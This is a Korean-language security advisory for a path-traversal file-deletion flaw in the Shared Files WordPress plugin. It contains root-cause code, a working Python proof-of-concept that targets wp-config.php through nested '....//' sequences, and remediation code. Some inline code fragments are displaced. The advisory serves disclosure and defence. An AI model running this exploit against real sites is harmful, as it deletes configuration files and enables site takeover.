
# CVE-2026-12513 기술 자문 및 개념 증명 Shared Files WordPress 플러그인의 경로 탐색을 통한 인증되지 않은 임의 파일 삭제 취약점에 대한 기술 자문 및 개념 증명으로, 근본 원인 분석과 수정 지침을 포함합니다.
CVE-2026-12513은 버전 1.7.68 이전의 Shared Files 및 Shared Files Pro WordPress 플러그인에 영향을 미치는 경로 탐색을 통한 인증되지 않은 임의 파일 삭제 취약점으로, 사이버보안 연구원 Huynh Kien Minh(MinhHK)이 발견하고 분석했습니다. 이 결함은 플러그인의 프런트엔드 파일 제출 처리 루틴에서 발생하며, 사용자가 제공한 파일 경로가 중첩 시퀀스(예: ....//)를 사용하여 우회할 수 있는 결함이 있는 단일 패스 탐색 패턴 교체로 필터링됩니다. 결과적으로 인증되지 않은 원격 공격자는 의도된 업로드 디렉터리 외부를 가리키는 조작된 경로를 제출하여 를 포함한 중요한 서버 자산을 대상으로 삼을 수 있습니다. 관리자가 이후 업로드된 항목을 제거하거나 영구 삭제하면 애플리케이션은 저장된 임의 경로에 대해 파일 시스템 삭제 프리미티브()를 호출합니다. 이로 인해 핵심 WordPress 구성 파일이 파괴되어 심각한 서비스 거부(Denial of Service)가 발생하고, 구성되지 않은 설치 설정을 통해 사이트 탈취가 가능해집니다. 수석 연구원 Huynh Kien Minh은 이 취약점을 CVSS 3.1 점수 6.8(Medium)(CWE-73 / CWE-22)로 평가했으며, 플러그인을 버전 1.7.68 이상으로 즉시 업데이트하고 강력한 정규 경로 검증을 권장합니다.
wp-config.phpunlink()빠른 링크: 연구원의 공식 사이버보안 포트폴리오를 확인하거나 WPScan 검증 권고를 검토하세요.
| 매개변수 | 기술 사양 |
|---|---|
| 취약점 식별자 | CVE-2026-12513 |
| 대상 소프트웨어 | Shared Files / Shared Files Pro (WordPress 플러그인) |
| 플러그인 슬러그 | shared-files, shared-files-pro |
| 취약한 버전 | < 1.7.68 |
| 패치된 버전 | >= 1.7.68 |
| 취약점 클래스 | 파일 이름 또는 경로의 외부 제어 / 경로 탐색 (CWE-73 / CWE-22) |
| CVSS v3.1 점수 | 6.8 (Medium) (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:H) |
| 발견자 / 연구원 | Huynh Kien Minh (MinhHK) |
| 검증 기관 | WPScan / MITRE Corporation |
| WPScan 권고 참조 | WPScan 보고서 25c9fa21-c48b-4333-8abc-87230dc4c869 |
| 연구원 포트폴리오 | https://minhhk.web.app/ |
이 취약점은 Shared Files(< 1.7.68)의 프런트엔드 파일 제출 핸들러에 구현된 부적절한 경로 정화 메커니즘에 뿌리를 두고 있습니다.
프런트엔드 파일 제출을 수락할 때 플러그인은 단일 패스 문자열 교체를 사용하여 디렉터리 탐색 시퀀스(../)를 제거하려고 시도했습니다:
// Shared Files < 1.7.68의 안전하지 않은 단일 패스 정화 필터
$file_path = str_replace( '../', '', $_POST['file_path'] );
str_replace()는 왼쪽에서 오른쪽으로 한 번만 실행되므로:
....//....//....//wp-config.php....//에서 ../가 한 번 제거되면 바깥쪽 문자가 다시 합쳐져 ../를 형성합니다:
....// -> ../../../../../wp-config.php로 평가됩니다!wp_posts 또는 사용자 정의 플러그인 테이블)에 저장됩니다./wp-admin/admin.php?page=shared-files를 통해 파일 레코드를 삭제하면 백엔드는 저장된 경로에 대해 unlink()를 호출합니다:// 취약한 삭제 로직
$file_to_delete = WP_CONTENT_DIR . '/uploads/shared-files/' . $stored_file_path;
if ( file_exists( $file_to_delete ) ) {
unlink( $file_to_delete ); // 대상 파일 삭제 트리거 (예: /var/www/html/wp-config.php)
}
wp-config.php가 삭제되면:
/wp-admin/install.php)를 표시합니다.윤리적 고지: 이 개념 증명은 Huynh Kien Minh의 윤리적 공개 프로토콜에 따라 교육적 연구, 방어적 검증 및 보안 감사를 위해 엄격히 제공됩니다.
poc_cve_2026_12513.py)#!/usr/bin/env python3
"""
CVE-2026-12513: Shared Files < 1.7.68 인증되지 않은 경로 탐색 파일 삭제 PoC
작성자: Huynh Kien Minh (MinhHK) - https://minhhk.web.app/
"""
import requests
import sys
TARGET_URL = "http://target-wordpress.local"
UPLOAD_ENDPOINT = f"{TARGET_URL}/wp-admin/admin-ajax.php"
def trigger_traversal_payload(target_url, target_file="../../../../wp-config.php"):
print(f"[*] 대상 감사 중: {target_url}")
# 단일 패스 str_replace('../', '', $input)를 우회하는 중첩 탐색 시퀀스
nested_traversal = "....//....//....//....//" + target_file.lstrip("/")
payload = {
"action": "shared_files_frontend_upload",
"file_name": "innocent_document.pdf",
"file_path": nested_traversal
}
headers = {
"User-Agent": "Mozilla/5.0 (Security Audit; CVE-2026-12513 Verification; Huynh Kien Minh)"
}
try:
response = requests.post(UPLOAD_ENDPOINT, data=payload, headers=headers, timeout=10)
print(f"[*] 제출 응답 상태: {response.status_code}")
if response.status_code == 200:
print("[+] 탐색 경로가 데이터베이스 저장소에 성공적으로 주입되었습니다.")
print("[!] 항목이 관리자에 의해 삭제되면 대상 파일이 unlink됩니다.")
return True
else:
print(f"[-] 요청이 HTTP 상태 {response.status_code}로 실패했습니다.")
except requests.RequestException as e:
print(f"[-] 연결 실패: {e}")
return False
if __name__ == "__main__":
url = sys.argv[1] if len(sys.argv) > 1 else TARGET_URL
trigger_traversal_payload(url)
1.7.68 이상으로 업데이트하세요.wp-config.php의 파일 시스템 권한이 읽기 전용(chmod 400 또는 440)인지 확인하세요.realpath() 및 wp_normalize_path()를 사용하여 엄격한 정규 경로 해석을 적용하고 작업이 지정된 업로드 경계 내에 유지되도록 하세요:
// 안전한 경로 검증 패턴 (버전 1.7.68+)
function shared_files_safe_delete( $relative_path ) {
$base_dir = wp_normalize_path( WP_CONTENT_DIR . '/uploads/shared-files/' );
$target = wp_normalize_path( realpath( $base_dir . $relative_path ) );
// 해석된 realpath가 지정된 기본 디렉터리로 엄격히 시작하는지 확인
if ( false === $target || 0 !== strpos( $target, $base_dir ) ) {
wp_die( __( '잘못되었거나 승인되지 않은 파일 경로입니다.', 'shared-files' ), 403 );
}
if ( file_exists( $target ) && is_file( $target ) ) {
unlink( $target );
}
}
**Huynh Kien Minh (MinhHK)**은 WordPress 취약점 연구, 핵심 및 플러그인 보안 감사, 방어적 익스플로잇 모델링을 전문으로 하는 정보 보안 연구원입니다.
{
"@context": "https://schema.org",
"@type": "TechArticle",
"headline": "CVE-2026-12513: Shared Files < 1.7.68 Unauthenticated Arbitrary File Deletion via Path Traversal",
"author": {
"@type": "Person",
"name": "Huynh Kien Minh",
"url": "https://minhhk.web.app/"
},
"datePublished": "2026-08-30",
"description": "Technical advisory by Huynh Kien Minh analyzing CVE-2026-12513 in Shared Files WordPress plugin.",
"identifier": "CVE-2026-12513"
}